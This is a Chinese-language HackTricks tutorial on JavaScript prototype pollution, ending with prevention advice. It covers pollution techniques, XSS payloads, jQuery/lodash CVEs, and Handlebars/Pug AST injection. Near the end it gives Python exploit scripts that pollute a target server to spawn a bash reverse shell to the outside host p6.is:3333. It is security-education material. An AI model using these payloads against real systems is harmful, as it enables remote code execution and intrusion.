NodeJS - __proto__ 和原型污染

Reading time: 16 minutes

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)

支持 HackTricks

JavaScript中的对象

JavaScript中的对象本质上是键值对的集合,称为属性。可以使用 Object.create 并将 null 作为参数来创建一个空对象。此方法允许创建一个没有任何继承属性的对象。

javascript
// Run this in the developers tools console
console.log(Object.create(null)) // This will output an empty object.

一个空对象类似于一个空字典,表示为{}

JavaScript中的函数和类

在JavaScript中,类和函数密切相关,函数通常作为类的构造函数。尽管JavaScript缺乏原生类支持,但构造函数可以模拟类的行为。

javascript
// Run this in the developers tools console

function Employee(name, position) {
this.name = name
this.position = position
this.introduce = function () {
return "My name is " + this.name + " and I work as a " + this.position + "."
}
}

Employee.prototype

var employee1 = new Employee("Generic Employee", "Developer")

employee1.__proto__

JavaScript中的原型

JavaScript允许在运行时修改、添加或删除原型属性。这种灵活性使得类功能的动态扩展成为可能。

toStringvalueOf这样的函数可以被改变以改变它们的行为,展示了JavaScript原型系统的适应性。

继承

在基于原型的编程中,属性/方法由对象从类中继承。这些类是通过将属性/方法添加到另一个类的实例或一个空对象来创建的。

需要注意的是,当一个属性被添加到作为其他对象原型的对象(例如myPersonObj)时,继承的对象可以访问这个新属性。然而,除非明确调用,否则这个属性不会自动显示。

__proto__ 污染

探索JavaScript中的原型污染

JavaScript对象由键值对定义,并从JavaScript对象原型继承。这意味着改变对象原型可以影响环境中的所有对象。

让我们用一个不同的例子来说明:

javascript
function Vehicle(model) {
this.model = model
}
var car1 = new Vehicle("Tesla Model S")

可以通过以下方式访问 Object 原型:

javascript
car1.__proto__.__proto__
Vehicle.__proto__.__proto__

通过向 Object 原型添加属性,每个 JavaScript 对象将继承这些新属性:

javascript
function Vehicle(model) {
this.model = model
}
var car1 = new Vehicle("Tesla Model S")
// Adding a method to the Object prototype
car1.__proto__.__proto__.announce = function () {
console.log("Beep beep!")
}
car1.announce() // Outputs "Beep beep!"
// Adding a property to the Object prototype
car1.__proto__.__proto__.isVehicle = true
console.log(car1.isVehicle) // Outputs true

原型污染

对于限制使用 __proto__ 的场景,修改函数的原型是一个替代方案:

javascript
function Vehicle(model) {
this.model = model
}
var car1 = new Vehicle("Tesla Model S")
// Adding properties to the Vehicle prototype
Vehicle.prototype.beep = function () {
console.log("Beep beep!")
}
car1.beep() // Now works and outputs "Beep beep!"
Vehicle.prototype.hasWheels = true
console.log(car1.hasWheels) // Outputs true

// Alternate method
car1.constructor.prototype.honk = function () {
console.log("Honk!")
}
car1.constructor.prototype.isElectric = true

这仅影响通过 Vehicle 构造函数创建的对象,使它们具有 beephasWheelshonkisElectric 属性。

通过原型污染全局影响 JavaScript 对象的两种方法包括:

  1. 直接污染 Object.prototype
javascript
Object.prototype.goodbye = function () {
console.log("Goodbye!")
}
  1. 污染常用结构的构造函数原型:
javascript
var example = { key: "value" }
example.constructor.prototype.greet = function () {
console.log("Hello!")
}

在这些操作之后,每个 JavaScript 对象都可以执行 goodbyegreet 方法。

污染其他对象

从类到 Object.prototype

在一个可以 污染特定对象 的场景中,如果你需要 到达 Object.prototype,你可以使用以下代码进行搜索:

javascript
// From https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/

// Search from "window" object
for (let key of Object.getOwnPropertyNames(window)) {
if (window[key]?.constructor.prototype === Object.prototype) {
console.log(key)
}
}

// Imagine that the original object was document.querySelector('a')
// With this code you could find some attributes to get the object "window" from that one
for (let key1 in document.querySelector("a")) {
for (let key2 in document.querySelector("a")[key1]) {
if (document.querySelector("a")[key1][key2] === window) {
console.log(key1 + "." + key2)
}
}
}

数组元素污染

请注意,由于您可以污染 JS 中对象的属性,如果您有权污染数组,您也可以通过 索引 污染 数组的值(请注意,您无法覆盖值,因此您需要污染以某种方式使用但未写入的索引)。

javascript
c = [1, 2]
a = []
a.constructor.prototype[1] = "yolo"
b = []
b[0] //undefined
b[1] //"yolo"
c[1] // 2 -- not

Html 元素污染

当通过 JS 生成 HTML 元素时,可以 覆盖 innerHTML 属性,使其写入 任意 HTML 代码。 Idea and example from this writeup.

javascript
// Create element
devSettings["root"] = document.createElement('main')

// Pollute innerHTML
settings[root][innerHTML]=<"svg onload=alert(1)>"

// Pollute innerHTML of the ownerProperty to avoid overwrites of innerHTML killing the payload
settings[root][ownerDocument][body][innerHTML]="<svg onload=alert(document.domain)>"

示例

基本示例

原型污染是由于应用程序中的缺陷导致的,该缺陷允许覆盖 Object.prototype 上的属性。这意味着大多数对象从 Object.prototype 派生其属性。

最简单的示例是向一个 未定义的对象属性 添加一个值,该属性将被检查,例如:

javascript
if (user.admin) {

如果属性 admin 未定义,则可以利用 PP 并将其设置为 True,例如:

javascript
Object.prototype.isAdmin = true
let user = {}
user.isAdmin // true

这个机制涉及操纵属性,以便如果攻击者控制某些输入,他们可以修改应用程序中所有对象的原型。这种操纵通常涉及设置 __proto__ 属性,在 JavaScript 中,这与直接修改对象的原型同义。

成功执行此攻击的条件,如特定 研究 中所述,包括:

  • 执行递归合并。
  • 基于路径定义属性。
  • 克隆对象。

Override function

python
customer.__proto__.toString = ()=>{alert("polluted")}

原型污染到 RCE

Prototype Pollution to RCE

其他有效载荷:

客户端原型污染到 XSS

Client Side Prototype Pollution

CVE-2019–11358:通过 jQuery $ .extend 的原型污染攻击

有关更多详细信息,请查看本文 在 jQuery 中,$ .extend 函数如果深拷贝功能使用不当,可能导致原型污染。此函数通常用于克隆对象或合并来自默认对象的属性。然而,当配置错误时,原本用于新对象的属性可能会被分配给原型。例如:

javascript
$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'))
console.log({}.devMode) // Outputs: true

此漏洞被识别为 CVE-2019–11358,说明深拷贝如何无意中修改原型,从而导致潜在的安全风险,例如如果像 isAdmin 这样的属性在没有适当存在验证的情况下被检查,则可能导致未经授权的管理员访问。

CVE-2018–3721, CVE-2019–10744: 通过 lodash 的原型污染攻击

有关更多详细信息,请查看本文

Lodash 遇到了类似的原型污染漏洞 (CVE-2018–3721, CVE-2019–10744)。这些问题在版本 4.17.11 中得到了修复。

另一个包含 CVE 的教程

https://infosecwriteups.com/javascript-prototype-pollution-practice-of-finding-and-exploitation-f97284333b2

检测原型污染的工具

NodeJS 中的 AST 原型污染

NodeJS 在 JavaScript 中广泛使用抽象语法树 (AST) 进行模板引擎和 TypeScript 等功能。本节探讨与模板引擎(特别是 Handlebars 和 Pug)中的原型污染相关的漏洞。

Handlebars 漏洞分析

Handlebars 模板引擎易受原型污染攻击。此漏洞源于 javascript-compiler.js 文件中的特定函数。例如,appendContent 函数在存在时会连接 pendingContent,而 pushSource 函数在添加源后将 pendingContent 重置为 undefined

利用过程

利用过程利用 Handlebars 生成的 AST(抽象语法树),遵循以下步骤:

  1. 解析器的操控: 最初,解析器通过 NumberLiteral 节点强制值为数字。原型污染可以规避此限制,从而允许插入非数字字符串。
  2. 编译器的处理: 编译器可以处理 AST 对象或字符串模板。如果 input.type 等于 Program,则输入被视为预解析,这可以被利用。
  3. 代码注入: 通过操控 Object.prototype,可以将任意代码注入模板函数,这可能导致远程代码执行。

一个演示 Handlebars 漏洞利用的示例:

javascript
const Handlebars = require("handlebars")

Object.prototype.type = "Program"
Object.prototype.body = [
{
type: "MustacheStatement",
path: 0,
params: [
{
type: "NumberLiteral",
value:
"console.log(process.mainModule.require('child_process').execSync('id').toString())",
},
],
loc: {
start: 0,
end: 0,
},
},
]

const source = `Hello {{ msg }}`
const template = Handlebars.precompile(source)

console.log(eval("(" + template + ")")["main"].toString())

此代码展示了攻击者如何将任意代码注入到 Handlebars 模板中。

外部参考:在 'flat' 库中发现了与原型污染相关的问题,详细信息请参见此处:GitHub 上的问题

外部参考与 'flat' 库中的原型污染相关的问题

Python 中原型污染利用的示例:

python
import requests

TARGET_URL = 'http://10.10.10.10:9090'

# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.type": "Program",
"__proto__.body": [{
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}],
"loc": {
"start": 0,
"end": 0
}
}]
})

# execute
requests.get(TARGET_URL)

Pug 漏洞

Pug,另一个模板引擎,面临着类似的原型污染风险。详细信息可在关于 AST Injection in Pug 的讨论中找到。

Pug 中原型污染的示例:

python
import requests

TARGET_URL = 'http://10.10.10.10:9090'

# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.block": {
"type": "Text",
"line": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}
})

# execute
requests.get(TARGET_URL)

预防措施

为了降低原型污染的风险,可以采用以下策略:

  1. 对象不可变性:可以通过应用 Object.freeze 来使 Object.prototype 不可变。
  2. 输入验证:JSON 输入应严格根据应用程序的架构进行验证。
  3. 安全合并函数:应避免不安全的递归合并函数使用。
  4. 无原型对象:可以使用 Object.create(null) 创建没有原型属性的对象。
  5. 使用 Map:应使用 Map 来存储键值对,而不是 Object
  6. 库更新:通过定期更新库来纳入安全补丁。
  7. Linter 和静态分析工具:使用如 ESLint 之类的工具,配合适当的插件,检测和防止原型污染漏洞。
  8. 代码审查:实施全面的代码审查,以识别和修复与原型污染相关的潜在风险。
  9. 安全培训:教育开发人员了解原型污染的风险及编写安全代码的最佳实践。
  10. 谨慎使用库:在使用第三方库时要谨慎。评估其安全态势并审查其代码,特别是那些操作对象的库。
  11. 运行时保护:采用运行时保护机制,例如使用专注于安全的 npm 包,以检测和防止原型污染攻击。

参考文献

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)

支持 HackTricks